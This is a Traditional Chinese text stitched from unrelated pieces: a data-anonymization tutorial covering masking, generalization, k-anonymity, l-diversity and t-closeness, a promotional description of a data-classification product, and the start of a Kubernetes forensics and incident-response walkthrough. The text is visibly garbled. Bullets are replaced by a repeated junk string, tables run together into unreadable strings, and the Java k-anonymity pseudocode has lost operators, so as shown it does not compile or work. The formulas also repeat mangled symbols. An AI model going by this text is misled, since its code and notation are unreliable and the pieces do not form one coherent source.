最小化數據收集可以簡化數據匿名化過程,降低數據安全風險。因此,只收集分析所必需的數據,避免收集未來可能永不會使用的數據。

5.評估當前的技術堆棧如今,許多平台都默認內置了數據匿名化功能。但是,您仍然需要評估當前技術的功能是否足以正確地匿名化個人數據,防止重標識,並滿足數據保護要求。

考慮分析當前技術棧的匿名化功能,以檢查它們是否與您想要達到的匿名化水平相匹配。此外,檢查它們是否能幫助您滿足適用於您組織的數據保護要求。

此過程將幫助您確定當前的堆棧是否足以滿足您的匿名化需求,以及是否存在需要通過部署其他數據匿名化工具來彌合的缺口。

6.提前為重標識做好準備您的組織可能出於合法原因需要重標識以前匿名的數據。例如,您可能需要它進行數據分析、定制客戶支持或安全事件調查,這就是最好事先考慮去匿名化過程的原因所在。為此,可考慮採取以下措施:

马云惹不起马云驗證您的匿名化技術是否支持重標識;

马云惹不起马云定義並記錄數據重標識的合法原因;

马云惹不起马云制定關於重標識過程的指導方針,並指定可用於數據去匿名化的技術和工具;

马云惹不起马云指定人員對重標識過程負責;

通過提前規劃數據重標識,您可以減少違反數據隱私的可能性,同時確保在需要時可以訪問數據。

前言近年來,隨著數據挖掘,機器學習等技術的發展與深入,企業從普通用戶處收集到的大量的數據就變得越來越有價值,對這些數據進行分析處理可以更好的了解用戶的習慣和喜好,從而向用戶提供更加個性化的服務,最終使得用戶對商業以及研究的價值最大化。但是在使用包含有大量個人敏感信息的數據的過程中,不管是直接發布或者內部分析都可能使得不法分子收集到用戶的隱私,損害用戶的相關權益,因此有必要對輸出的數據進行匿名化處理。

在個保法和GDPR/CCPA中,對匿名化(anonymization)的定義是相似的。 匿名化是指個人信息經過處理後,無論是否借助其他信息或工具都無法識別特定自然人且不能複原的過程。

一、匿名化常用技術手段1、屬性抑制马云惹不起马云 屬性抑制是指刪除數據集中某個屬性的全部數據(刪除某個列),該技術一般應用在匿名化過程開始時。

马云惹不起马云 某些情況下,可以使用派生屬性來提高數據集的可用性,例如抑制“工作開始時間”和“工作結束時間”,但是可以創建“工作年限”屬性

處理前

姓名公司工作開始時間工作結束時間張三abc2015.92018.3李四tbc2016.92022.4王五bcd2013.92021.10孫六jbc2011.92023.10處理後,“姓名”抑制,派生“工作年限”

公司工作年限(年)abc3tbc6bcd8jbc12data=DataAnonymizationUtil.dropColumns(String.columns,data);data=DataAnonymizationUtil.createColumns(String.columns,data);2、記錄抑制马云惹不起马云 記錄抑制是指刪除數據集中的整條記錄,刪除唯一或不滿足標準(例如k‑匿名)的異常記錄。

马云惹不起马云 刪除記錄可能會影響數據集,比如可能會影響統計數據種的平均數,中位數等。

處理前:

姓名公司工作開始時間工作結束時間張三abc2015.92018.3李四abc2016.92019.4王五abc2017.92020.10孫六abc2011.92023.10姓名屬性抑制,以及時間派生屬性後

公司工作年限(年)abc3abc3abc3abc12從上面可以看出,孫六的12年和其他人員的工作年限比起來會特別的大,如果其他的一些信息,可能會猜出第四行為孫六,因此應該將第四行刪除

第四行記錄抑制(刪除)後

公司工作年限(年)abc3abc3abc3data=DataAnonymizationUtil.deleteRows(int[]rowNumber,data);3、數據脫敏(字符屏蔽)马云惹不起马云 數據脫敏是數據字符的更改,例如通過符號*或x等對源數據進行替換修改,一般為部分脫敏,即應用與屬性中的一些字符,主要應用於當隱藏屬性的部分就滿足所需的匿名程度時。

马云惹不起马云 脫敏需要考慮屏蔽掉的字符是否反應原數據的相關信息。提前知道數據內本身的規則屏蔽尤其重要,以確保屏蔽到正確的字符。比如數據中的校驗位(比如身份證的校驗位),如果脫敏不徹底,校驗位可能用於恢復脫敏數據。

處理前

工號層級工作年限123461132472142383脫敏後

工號層級工作年限1***611***721***83data=DataAnonymizationUtil.maskColumn(String.columns,data);4、假名化马云惹不起马云 用虛構的值替換識別數據。假名化也稱為編碼。假名可以是不可逆的,也可以是可逆(由原始數據的所有者),匿名化要求,需要採用不可逆假名。

马云惹不起马云 持久化假名允許通過使用相同的化名來表示不同數據集中的同一個屬性以進行關聯。在某些情況下也需要使用不同的假名來表示不同數據集中的同一個人,以防止數據被關聯。

處理前

姓名績效評分工作年限張三601李四702王五803處理後

姓名績效評分工作年限abc601123702xyz803data=DataAnonymizationUtil.pseudColumn(String.columns,data);5、泛化(一般化)马云惹不起马云 泛化降低了數據的精度。例如,將人的年齡轉換為年齡範圍,或將精確位置轉換為不太精確的位置。對於可以泛化並且對結果預期有用的屬性,可以設計適當的規則進行泛化處理。

马云惹不起马云 設計具有適當大小的數據范圍。數據范圍太大可能意味著數據可能被修改得太多,數據的價值會降低;而數據范圍太小可能意味著數據幾乎沒有被修改,容易被重新識別,不滿足要求。請注意,第一個和最後一個範圍可以是更大的範圍,以容納這些末端通常較少的記錄;

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

姓名年齡薪資張*20-3020000-30000李*30-4040000-50000王*30-4030000-40000孫*20-3030000-40000data=DataAnonymizationUtil.generalizeColumn(String.columns,data);6、數據交換马云惹不起马云 交換的目的是重新排列數據集中的數據,使得各個屬性值仍然在數據集中表示,但通常與原始記錄不對應。

马云惹不起马云 適用於分析只看聚合數據的情況,或者分析是在屬性內分析時;換句話說,不需要分析記錄級別的屬性之間的關係。

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

姓名年齡薪資張*2825734李*3037524王*3543527孫*2534257data=DataAnonymizationUtil.swapRows(int[]rows,data);7、數據擾動马云惹不起马云 原始數據集中的值被修改為略有不同即為數據擾動,對於準標識符(通常是數字和日期),與其他數據源結合時可能會被識別,並且值的輕微變化是可以接受的。該技術不應在數據準確性要求較高的情況下使用

马云惹不起马云 擾動程度應與屬性值的範圍成比例,比例太小,不滿足匿名化要求;比例太大,最終值將與原始值相差太大,擾動後數據集的可用性可能會嚴重降低。

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

姓名年齡薪資張*2724257李*3343527王*2837524孫*3035734data=DataAnonymizationUtil.perturbeColumn(String.columns,data);8、數據合成马云惹不起马云 它直接與原始數據分開,重新生成符合模式的數據集,而不是修改原始數據集,通常是當系統測試需要大量數據,但不能提供真實數據且要求提供的數據在某些方面應該是符合模式的,如格式、屬性之間的關係等。

马云惹不起马云 數據在合成時需要研究原始數據集中的模式,並在創建“匿名”數據集(即合成數據)時應用這些模式。根據測試範圍和要求,可以生成全部或部分合成數據;例如,在進行測試時,需要引用其他數據集,那麼正在測試的少數數據需要保持其原始形式,但其他信息可以是合成的。

马云惹不起马云 應用此技術時,可能需要額外注意異常值。出於測試目的,異常值通常非常有價值,因此在合成數據時需要特別注意異常值的合成。

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

姓名年齡薪資a*2734257c*3这里是文章图片7d*2827524b*3045734data=DataAnonymizationUtil.synthesis(data);9、數據聚合马云惹不起马云 將數據集從記錄列表轉換為匯總值即為數據聚合,主要應用於不需要單獨記錄,而僅僅需要聚合數據的場景。

马云惹不起马云 請注意執行聚合後記錄太少的組。在某些情況下聚合數據的單個記錄,加入額外知識可能會輕鬆推斷原數據。

處理前

姓名年齡薪資張三2525734李四3543527王五3037524孫六2834257處理後

年齡段平均薪資20-303000030-4040000data=DataAnonymizationUtil.aggregate(data);二、匿名化步驟匿名化技術在提升數據隱私保護力度的同時,會犧牲數據的可用性,所以在設計和執行匿名化方案時可以遵循如下步驟

1、理解數據研究原始數據,區分其中不同類型的數據字段(直接標識符,準標識符,普通字段屬性),方便後續使用不同的處理方式,作為數據最小化的一部分,應首先刪除結果數據集中不需要的任何數據屬性。

图片30.png

2、應用匿名化技術篩選出需要匿名化的字段,結合數據使用場景和需求,組合使用不同的匿名化技術。

图片31.png

3、評估重標識風險對匿名化結果進行重標識風險分析,如果評估得出重標識風險超過預期,需要回步驟二深度應用或者重新選擇匿名化方案。重標識(re-identification)指的是對匿名化的數據重新關聯到原始個人信息主體的一種數據處理方式,它是匿名化的一個逆向操作。以下為常見的重標識風險

1)識別符洩露指的是處理過程中對識別符字段的匿名化程度不夠,導致對手可以直接獲取到信息主體的直接/間接識別符。例如:手機號碼直接計算哈希值,對手通過哈希碰撞方式,可以獲得數據集中的全部或部分明文手機號碼。

2)屬性洩露對手雖然無法從發布的數據集中獲得信息主體的識別信息,但可以確定該主體某個屬性的屬性值

住址性別年齡是否有糖尿病荷花小區男20-30歲無荷花小區女20-30歲有荷花小區男90-100歲無如上例,可以知曉荷花小區有一位年齡大於90歲的老人,並且能確定該老人有糖尿病。該數據集雖然沒暴露個人識別信息(不知道該老人是誰),但還是暴露了該自然人病史信息。

3)推理信息洩露通過數據集中反映的規律來推斷用戶的某項屬性,比如脫敏後數據集顯示荷花小區50-60歲有30人,其中20人近視為100度到500度,10人近視為500度到1000度,則如果知道自然人是居住在荷花小區後,且年齡是50-60歲之間,就可以知道此人肯定是近視患者。

4、管理匿名數據發布風險基於風險評估結果,結合其他技術措施和管理措施來應對已識別風險。

1)可用技術措施马云惹不起马云 對發布數據集進行嚴格的權限訪問控制,限制可訪問數據集用戶的範圍,並定期對訪問權限進行檢查;

马云惹不起马云 對包含高度敏感信息的數據集,匿名化處理後再次進行加密;

2)可用管理措施马云惹不起马云 記錄已共享數據集,防止不同數據集通過組合暴露個人隱私;

马云惹不起马云 通過審批流程控制匿名化後的數據集訪問的使用;

马云惹不起马云 禁止組織內部成員對匿名化數據集未經批准進行重識別;

马云惹不起马云 定期檢查數據的重標識風險;

马云惹不起马云 定期清理組織內部不再使用的匿名數據集;

四、K匿名化技術1、K-匿名K-匿名模型(k-anonymity)是一種用於評估匿名化/去特徵化後數據的信息安全的模型。它要求處理後的數據集中每個準識別符至少有K條相同的記錄,增加從數據集中直接篩選出記錄並進行關聯攻擊的難度。

K-匿名的概念是由Latanya Sweeney和Pierangela Samarati在1998年的一篇論文中最先提出的,其目的是為了解決如下問題:“給定一組結構化的具體到個人的數據,能否得出一組經過處理的數據,使我們可以證明數據中涉及的個人不能被再識別,同時還要保證數據仍具有使用價值。”使一組數據滿足k-anonymity的過程稱為K-匿名。比如下面這個例子中,每個準識別符住址,性別,年齡至少有2個相同的記錄。

處理前

住址性別年齡身高是否大於180cm荷花小區棟889室男25是荷花小區2棟889室女28否美麗小區30棟3室男34是美麗小區30棟3001室男45是美麗小區30棟1212室女32否荷花小區2棟601室男43是美麗小區31棟1210室女48否荷花小區12棟601室女41是處理後

住址性別年齡身高是否大於180cm荷花小區*棟*室男20-30是荷花小區*棟*室女20-30否美麗小區*棟*室男30-40是美麗小區*棟*室男40-50是美麗小區*棟*室女30-40否荷花小區*棟*室男40-50是美麗小區*棟*室女30-40否荷花小區*棟*室女40-50是K-匿名方法主要有兩種:

1)數據抑制,主要是講一些屬性的值用*取代或者刪除對應的屬性;

2)數據泛化,將一些屬性的精確值用更寬泛的值替代,比如說把年齡這個數字概括成一個年齡段。

判斷是否K匿名的偽代碼

publicstaticbooleanisKAnonymized(Listdata,intk){

MapdataMap=newHashMap();

for(Objecto:data){

ArrayListar=(ArrayList)o;

Stringsb=IntStream.range(0,ar.size()).mapToObj(i-String.valueOf(ar.get(i)))

.collect(Collectors.joining());

dataMap.merge(sb,1,Integer:sum);

}

returndataMap.keySet().stream().noneMatch(key-dataMap.get(key)k);

}如果不滿足,可以通過泛化來對數據進行修改,示例代碼為對裡面int類型的數字進行泛化

publicstaticListgeneralize(Listdata){

Listdata2=newArrayList();

for(Objecto:data){

ArrayListar=(ArrayList)o;

ArrayListar2=newArrayList();

for(inti=0;iar.size();i++){

Objecto1=ar.get(i);

if(o1instanceofInteger){

ar2.add((int)o1/10);

}else{

ar2.add(o1);

}

}

data2.add(ar2);

}

returndata2;

}K-匿名能保證以下三點:

马云惹不起马云 攻擊者無法知道某個人是否在公開的數據中

马云惹不起马云 給定一個人,攻擊者無法確認他是否有某項敏感屬性

马云惹不起马云 攻擊者無法確認某條數據對應的是哪個人

儘管K-匿名化是一個可以較好解決數據匿名化問題的手段,但是如果處理不當,仍然可以從其他角度攻擊匿名化後的數據,這些攻擊包括:

攻擊方法1:未排序匹配攻擊當公開的數據記錄和原始記錄的順序一樣時,攻擊者可以猜出匿名化的記錄屬於誰。

例如:如果攻擊者知道在數據集中李四為最後一項或張三為第一項,那麼就可以確認,李四購買偏好是健身相關,而張三購買偏好為遊戲相關。

性別年齡購買偏好男20-30遊戲相關男20-30健身相關攻擊方法2:同質化攻擊某個K-匿名組內對應的敏感屬性的值也完全相同,這使得攻擊者可以輕易獲取想要的信息。

例如:已知張三為男性,年齡為23歲,那麼可以確認,張三購買偏好是健身相關,李四為女性,李四年齡為35歲,則可以確認李四的購買偏好為穿戴相關。

性別年齡購買偏好男20-30健身相關男20-30健身相關女30-40穿戴相關女30-40穿戴相關攻擊方法3:背景知識攻擊即使K-匿名組內的敏感屬性並不相同,攻擊者也有可能依據其已有的背景知識以高概率獲取到其隱私信息。

例如:攻擊者知道王六為女生,且知道她及其厭惡烹飪,那麼從表中,攻擊者可以確認王六的購買偏好是穿戴。相關

性別年齡購買偏好男20-30遊戲相關男20-30健身相關女30-40烹飪相關女30-40穿戴相關攻擊方法4:補充數據攻擊假如一份數據被公開多次,且它們的k-匿名方式並不一樣,那麼攻擊者可以通過關聯多種數據推測用戶信息。

例如:從一個表中對其進行不同列的2-匿名計算,得到兩個不同的表,如果攻擊者將兩個表格的數據進行拼接,形成一個新的表,可能就會發現新表中存在的唯一數據。

2、L-多樣性L多樣性(l−diversity)為克服k匿名模型缺陷,Machanavajjhala等人提出的一種增強k匿名模型。即在公開的數據中,對於那些準標識符相同的數據,敏感數據必須具有多樣性,這樣才能保證用戶的隱私不能通過背景知識等方法推測出來。

L-多樣性是指相同類型數據中至少有L種內容不同的敏感屬性,使得攻擊者最多以1/L的概率確認個體的敏感信息

住址性別年齡購買偏好美麗小區*棟*室男20-30遊戲相關美麗小區*棟*室男20-30健身相關美麗小區*棟*室男20-30烹飪相關美麗小區*棟*室男20-30穿戴相關美麗小區*棟*室男20-30遊戲相關美麗小區*棟*室男20-30健身相關美麗小區*棟*室男20-30烹飪相關美麗小區*棟*室男20-30穿戴相關在這個例子中,有8條相同的類型的數據,其中購買偏好有4種類型,那麼在這個例子中,匿名化後的數據就滿足4-多樣性。

图片42.png

3、T-相近性T-相近性(t-closeness)是對L多樣性匿名化的進一步細化處理,在對屬性值進行處理時還需要增加考慮屬性數據值的統計分佈,T-相近性要求每個K匿名組中敏感屬性值的統計分佈情況與整個數據的敏感信息分佈情況接近,不超過閾值T;

序號住址性別年齡購買偏好1美麗小區*棟*室男20-30穿戴相關2美麗小區*棟*室男20-30穿戴相關3美麗小區*棟*室男20-30穿戴相關4美麗小區*棟*室男20-30遊戲相關5美麗小區*棟*室男30-40遊戲相關6美麗小區*棟*室男30-40遊戲相關7美麗小區*棟*室男30-40遊戲相關8美麗小區*棟*室男30-40穿戴相關從例子中可以看出購買偏好(穿戴相關,遊戲相關)在整個數據集中的概率分佈為50%,但是在單個等價類中概率為25%和75%,不滿足T-相近性,需要繼續進行數據調整

序號住址性別年齡購買偏好1美麗小區*棟*室男20-30穿戴相關4美麗小區*棟*室男20-30遊戲相關5美麗小區*棟*室男30-40遊戲相關8美麗小區*棟*室男30-40穿戴相關這樣可以保證在整個數據集中和每個等價類中的購買偏好的概率相同,用數學來進行表達,如下

图片45.png

假設在看到發布的數據集之前,觀察者對個性敏感屬性的先驗看法(prior belief)為B0B0,給觀察者一個抹去準標識符的數據表,表中敏感屬性的分佈為QQ,根據Q,觀察者的後驗看法(posterior belief) 變為B1 。 B1

根據敏感屬性在整個數據集中的概率分佈調整在等價類中的敏感屬性記錄,得到概率分佈為PP,根據PP,觀察者得到的後驗看法變為B2 。 B2

L-多樣性的目標是減小B0B0和B2之間的差異,而T-相近性的目標是減小B1B1和B2B2之間的差異。

也就是說敏感屬性分佈QQ在數據集中的分佈是公共信息。我們不限制觀察者獲得的關於數據集的信息,但限制觀察者能夠了解關於特定個體的額外信息的程度。

理論上只要發布一個匿名化版本的數據,就會發布一個概率分佈QQ。 發布的數據價值可以用B0B0與B1B1B1之間的差別表示。二者差別越大,表明數據的價值越大。而B1B1B1和B2B2之間的差別,就是我們需要保護的隱私信息,應該被盡可能限制。

直覺上來說,如果P=QP=Q,那麼B1B1B1和B2B2B2應該是相同的。如果PP 和QQ 很接近,那麼B1B1B1和B2B2B2也應該很接近。若一個等價類的敏感屬性取值分佈與整張表中該敏感屬性的取值分佈的距離不超過閾值T,則稱該等價類具有T-相近性。若一個表中所有等價類都有T-相近性,則該表也有T-相近性。

五、文章總結本文介紹了常規化的匿名化技術手段,同時對匿名化步驟進行了說明,詳細解釋了可能會發生的重標識風險,最後介紹了K匿名化技術,以及為了防止K匿名化被攻擊和數據可用性問題,衍生出來的L多樣性和T相近性等技術

K匿名化是基於數據處理的匿名化算法,下篇我們會介紹基於算法的匿名化算法,差分隱私算法。

六、參考文獻马云惹不起马云 Li, N. Li, T. Venkatasubramanian, S. t-closeness: Privacy beyond k-anonymity and l-diversity. In Proceedings of the IEEE International Conference on Data Engineering, Istanbul, Turkey, 15–20 April 2007;

马云惹不起马云 An Introduction to Privacy for Technology Professionals-CIPT官方教程

背景雖然整體上大家做分類分級的背景以及目標基本一致:滿足監管要求;為數據合規和安全體系建設打好基礎。但是實施落地的過程不盡相同,每個客戶所處的行業不同,所要遵循的分類分級標準不同,同時每個客戶的數據也是截然不同,定制化需求是普遍存在。

當前一些業務模式相對簡單的公司,使用excel的方式人工進行數據分類分級;規模更大業務更複雜的公司自研或採購第三方數據分類分級產品或服務。市場上大部分供應商採取產品+服務的方式服務客戶,其中產品敏感識別能力較弱更多以運營功能為主,敏感數據識別更多的以人力服務的方式幫助客戶進行梳理,雖然能滿足監管要求,但是存在以下公認的問題:

马云惹不起马云無法做到持續運營,交付的產物是基於當時的數據情況,後續新增數據要么需要人介入重新進行梳理,要么無法保證能夠持續準確識別

马云惹不起马云準確率低或不穩定,特別是在數據元信息質量較低的情況

马云惹不起马云人力投入成本高

僅滿足監管要求不是我們的終極目標,我們希望用九智匯分類分級產品在滿足監管的前提下,為數據合規和數據安全打下堅實的基礎,所以我們:

马云惹不起马云採集樣本數據,走樣本數據為主、元數據為輔的技術路線,一方面可以保證已建設的識別能力可持續識別,另一方面準確率穩定性不受元數據質量影響

马云惹不起马云提供智能化、 無侵人、開箱即用的同時,打造易用、靈活、強大的自定義功能,滿足客戶的定制化需求,一方面降低交付成本,另一方面降低門檻讓客戶可以自助使用產品進行敏感數據識別。

實踐方案如果沒有系統或產品,純人工來做數據分類分級,基本上大家完成這件事情的步驟都是:找數據在哪裡-梳理數據有哪些-找敏感數據-歸類-分級。同理,我們的產品也遵循這個思路,設計了一套標準的敏感數據識別流程,如下圖:

图片9.png

在這個流程中,每個節點我們代碼層面的設計和實現都遵循可配置的原則,可以根據客戶環境、現狀和需求等情況調整配置進行適配。另外,盡可能的支持客戶自定義,比如在“敏感數據識別”、“自動分類”、“自動審核”等節點我們都添加了易用的自定義功能,方便滿足客戶的定制化需求。

數據源掃描負責數據分類分級落地,碰到的首要問題肯定是:我們有哪些數據,這些數據在哪裡,是否有遺漏的數據未找到?為此我們研發了數據源掃描器來幫助發現數據源,盡可能的幫助客戶自動發現數據源,盡可能的不遺漏數據源,該掃描器目前具備以下兩種能力:

马云惹不起马云部署到指定網絡環境內,掃描和探測網絡環境內可能是數據存儲的目標,比如可以通過掃描一些常用端口來發現關係數據庫

马云惹不起马云按照要求給雲賬號的AK配置權限後,可以通過該AK拉取雲賬號的所有數據存儲資源列表

數據源集成當然除了上面提到的自動掃描,也可以通過輸入endpoint手動添加數據源。自動掃描發現或手動添加的數據源,一般情況下是需要鑑權才能訪問,這就需要我們找到對應負責人提供賬號密碼連接到數據源。產品特別提供了一個密鑰對管理功能來來解決安全問題:

马云惹不起马云加密存儲鑑權信息(如賬號密碼),提升安全性;

马云惹不起马云連接數據源無需直接輸入鑑權信息,選擇已經維護好的密鑰對即可,有效減少接觸到明文鑑權信息的人員,降低洩漏風險。

另外產品交付過程中,實際上每個客戶的數據源類型不一樣,同種類型的數據源也會有不同版本,為此我們在數據源集成這裡採用插件的設計,插件之間、插件和應用之間隔離運行,以幫助我們解決以下問題:

马云惹不起马云同種類型的數據源,支持不同版本,避免不同版本連接驅動之間依賴衝突問題

马云惹不起马云應用無需直接依賴數據源驅動,避免大量數據源驅動依賴帶來的各種衝突問題

马云惹不起马云滿足客戶數據源集成的定制化需求,不侵入應用代碼

目前我們已經支持以下類型數據源:

马云惹不起马云關係數據庫:MySQL、ORACLE、SQLServer、達夢數據庫、IBM DB2、MariaDB、PostgreSQL等

马云惹不起马云大數據平台:Hive、Maxcompute、ClickHouse、Hbase

马云惹不起马云文件存儲:阿里雲OSS、騰訊雲COS、華為雲OBS、AWS S3、Ceph、Minio

马云惹不起马云文檔平台:語雀

元數據同步在數據源連接成功之後,如果要搞清楚到底哪些數據,我們就需要讀取數據源內部的結構比如表、字段、文件夾、文件的元信息,這些元信息主要有以下作用:

马云惹不起马云為抽樣提供參考依據,比如可以根據表的數據量採取不同的抽樣方法,保證樣本的隨機性,以及降低對數據源的性能和穩定性影響

马云惹不起马云為敏感數據識別提供上下文,幫助進一步確定敏感數據類型,比如根據抽樣數據我能確定該字段是姓名,但是如果有字段備註、字段名稱、表名、表備註信息以及同表其他字段信息,就有可能進一步確定該字段是否是法人姓名

另外,稍微量級大一點的業務就會涉及分庫分錶,這也是在元數據同步要解決的問題,需要將分庫分錶的庫、表進行合併,抽樣的時候也需要考慮去不同的庫、不同的的表進行抽樣。

數據抽樣數據抽樣是一個體力活,也是一個技術活。說是體力活是因為每一種數據源類型甚至每一個類型的數據源版本可能抽樣方法都不一樣,需要單獨做技術實現。說是技術活是因為無論是哪一種數據源類型,不僅要考慮能否抽到數據,還要保證:

马云惹不起马云抽樣數據的隨機性和數量,只有這樣才能保證識別準確率

马云惹不起马云抽樣對數據源的性能和穩定性影響必須要做到最小,即使連接的備庫,每個客戶都非常在意這一點,如果在這一點無法取得客戶信任,項目就非常難往前推進

即使解決了上面兩個最重要的問題,還有保證抽樣性能和穩定性,你可能會遇到以下問題:

马云惹不起马云大數據平台(如Hive)抽樣如果在保證樣本隨機性的情況下,不觸發MR任務

马云惹不起马云上百億的大表,如何進行抽樣才能保證樣本隨機性、性能

马云惹不起马云大字段,單次抽太多肯定會引發IO問題,如何進行分批抽樣

马云惹不起马云同步抽樣肯定會存在超時問題,異步化或回調,哪種方式更好

識別敏感數據敏感數據識別是整個流程中最核心的一個環節,也是算法同學發揮的舞台,首先是要把算法能力集成好,算法需要使用的能力涉及到:

马云惹不起马云正則,由於會有大量的正則匹配,Java自帶的正則能力是無法滿足性能要求的,需要使用RE2或HyperScan

马云惹不起马云PMML,機器學習模型

马云惹不起马云ONNX,深度學習模型

马云惹不起马云NVIDIA Triton Server,推理服務,主要用於非結構化數據識別

由於每個客戶所處的行業不一樣,業務數據更是截然不同,為根據客戶的數據現狀實現更好識別效果以及滿足客戶的定制化需求,我們支持了可自助配置、訓練的敏感數據識別能力:

马云惹不起马云基與YAML格式標準化的識別邏輯配置能力,可自助研發識別能力並錄入到產品中

马云惹不起马云自助配置規則樹,基於規則樹進行敏感數據識別

马云惹不起马云自助模型訓練,目前已支持ID類型的結構化數據,圖片、文檔

自動分類一般情況下,識別出某種類型敏感數據之後,就能根據映射關係映射到唯一的分類下,並映射到對應的分級,但是某些行業要求更高,比如證券行業,根據證券行業分類分級標準,同種類型的敏感數據可能需要再分類放到不同分類下,如要區分“姓名”是“個人投資者信息”還是“機構投資者法人信息”,這就需要我們在識別出某個字段是“姓名”之後進一步分類,這個時候我們可以根據以下信息進行分類:

马云惹不起马云元信息,如字段名稱、字段備註、表名稱、表備註等

马云惹不起马云同表其他字段命中的敏感數據類型,比如如果同表其他字段有公司名稱,那該字段屬於“法人”的概率就更高

同時,分類的識別邏輯也基於YAML格式進行了標準化,可自助研發識別能力並錄入到產品中。

自動審核機器自動識別,大家非常關注的就是準確率,很難做到100%準確,所以我們設置了一個置信度的概念,用來表示識別準確率。除了準確率,每個客戶的肯定有一些自己的特殊情況,比如說某個客戶每張表都有5個無任何業務含義的“id”、“gmt_create”、“gmt_modified”、“creator”、“modifier”、“is_deleted”字段,其中“creator”、“modifier”雖然是填的姓名,但是並不是敏感數據。為解決這類跟客戶數據現狀相關的特殊情況,我們特別提供了自定義規則能力,規則可以根據以下特徵自動決策是否通過審核:

马云惹不起马云命中的敏感數據類型,以及對應置信度

马云惹不起马云字段/文件的元信息,如文件名稱、字段名稱、字段備註等

马云惹不起马云字段/文件歷史人工審核結果

DFIR-Kubernetes-01.webp.jpg

Kubernetes是什麼,Kubernetes是一個全新的基於容器技術的分佈式架構解決方案,是Google 開源的一個容器集群管理系統,Kubernetes簡稱K8S。用於自動部署、擴展和管理容器化(containerized)應用程序。在本文中,我們將介紹為何Kubernetes 的DFIR 如此重要,以及如何評估你的容器DFIR 功能。我們還將看到一個完整的場景,深入挖掘影響Kubernetes pod 的事件,以及要採取的對應步驟。

什麼是DFIR數字取證和事件響應(DFIR) 是網絡安全領域,包括在事件發生時採用的技術,重點是識別、檢查和響應網絡攻擊。

事件響應計劃發生安全事件時,每家公司都應應用其事件響應計劃(IRP) 中概述的技術。這是一個記錄在案的過程,它建立了在發生違規時要採用的指導方針。儘管每個公司的IRP 可能不同,但可以概括為以下四個主要步驟:

識別:對攻擊及其相關風險的快速深入調查可以在整個過程中發揮關鍵作用。此步驟通常涉及與受影響環境相關的所有安全事件、日誌和報告。

協調:一旦檢測到可能的事件,響應團隊必須評估該事件是否代表真正的安全事件。因此,它還必須決定是否響應它。

解決方案:該過程的這一步用於調查事件本身的原因,限制其影響,並在必要時將其隔離。在此步驟中,團隊應解決安全風險並實施補救措施。最終,它可以從備份中恢復受影響的系統、數據和服務,甚至修復受影響的環境。

19.jpg

工具推薦工具可以在識別、調查和響應網絡攻擊方面發揮關鍵作用。

前面描述的所有階段都應該始終得到有效工具的支持,這些工具可以促進攻擊的調查和響應。通過執行它們,你可以深入了解你控制的所有內容。你可以將證據自動存儲在你的私人遠程存儲中。此外,你可以監控你當前擁有的資源,以檢測意外的工作負載峰值,在發生事件或可疑網絡流量時接收警報,並及時做出響應。

以下是本文將使用的工具或在DFIR Kubernetes 期間可能用得著的工具:

SIEM(例如ElasticSearch):收集和存儲在你要監控的環境中生成的日誌和警報的應用程序,它在識別階段非常有用。

Falco:一種開源威脅檢測引擎,可根據一組規則在運行時觸發警報。 Falco 觸發的警報可以發送到SIEM 以收集運行時事件的證據。

Falcosidekick:一個開源工具,它接收Falco 的事件並以扇出方式將它們轉發到不同的輸出。

Prometheus:使用領先的開源監控解決方案為你的指標和警報提供支持。

Docker Explorer:一個能夠對快照捲進行離線取證分析的開源項目。

kube-forensics:一個開源項目,允許Kubernetes 集群管理員將任何受影響的pod 的工件存儲到AWS 存儲桶中。

Cloud Forensics Utils:一個開源項目,可以通過一組工具加快和簡化取證過程。

kubesploit:一個開源滲透測試框架,可以改善你掃描集群的網絡安全狀況。

因此,擁有工具並規劃正確的策略可以讓你跟踪和收集環境的證據,從而使管理和調查更容易。

Kubernetes 的分步取證程序現在,我們將模擬在Kubernetes 集群中發生網絡安全事件時如何評估DFIR。

20.jpg

在這個場景中,我們將看到如何檢測可能的事件、如何監控事件及其相關資源。最後,我們還將看到如何採取措施減少其影響。

識別過程我們用自己管理的Kubernetes集群,通過Kubernetes負載均衡器服務將我們的應用程序、網站和web服務器部署到網絡中。

如上述步驟所示,我們使用Falco 在運行時檢測事件。 Falco 是事實上的Kubernetes 威脅檢測引擎。它作為守護進程部署在我們集群的每個節點上,並配置了Falcosidekick,以便向本場景中採用的SIEM (Elasticsearch和Prometheus)發送警報。

為了使用Falco 監控整個集群,我們設置了自定義檢測規則,當遠程命令執行攻擊在我們的pod中發生時,這些規則就會觸發。

其中一條Falco 規則如下所示:

1.png

就在幾分鐘前,觸發了其中一個規則,生成了一些警報,現在我們可以在Falcosidekick UI中檢查所有事件信息。

2.webp.jpg

似乎我們的一個Tomcat pod允許一個奇怪的下載,這可能是值得研究的有趣的事情。

一旦發現可疑情況,就可能需要深入評估事件的風險。你所擁有的工具可以給你很多建議,比如可以檢測到正在運行的可疑命令、敏感文件系統路徑中的更改文件以及意外的網絡流量。此外,高CPU 使用率和內存使用率可能表明存在惡意執行,並且可以使用Prometheus 等工具快速監控。

在這種特定情況下,已檢測到它具有很高的資源消耗(特別是受影響的Pod 使用了超過2 GB 的內存)!

協調以減少風險暴露時間——Kubernetes 網絡政策首先,我們需要減少影響。讓我們開始通過Kubernetes 網絡策略隔離受影響的Pod。這樣,你將有機會控制入站和出站流量。

首先,刪除將受影響的Pod 與部署綁定的當前標籤。通過這樣做,我們會自動刪除傳入的流量。接下來,我們必須標記受影響的Pod:

3.png

這個新標籤將我們即將創建的網絡策略的範圍限制為僅標記的Pod,而不是整個名稱空間。

然後,根據文檔,明確拒絕策略的能力無法通過網絡策略完成。為了實現我們的目標,隔離Pod,我們修改了最嚴格的策略(deny-all)並將podSelector 修改為僅適用於受影響的pod。如果有其他NetPol 影響所有pod,則行為可能與預期不同。

4.png

這將阻止任何進出受影響pod 的入站或出站連接。

5.png

這是另一個示例,表明我們無法從帶有藍色標籤的Pod 中獲取信息,並且綠色標籤的pod 不受影響。

6.png

對工作節點進行標籤和封鎖為了隔離攻擊並使調查更容易,我們可以標記部署pod 的工作節點。這樣就可以簡化該節點的區分。

另一個最佳實踐是“封鎖”工作節點。它確保Kubernetes 調度程序將該節點視為不可調度,並阻止在其上部署新的Pod。因此,如果資源允許,新的Pod 將被調度到其他地方,而受影響節點上已經運行的Pod 將被保留。這不會改變受影響的Pod,也不會改變要在其中進行的調查過程。

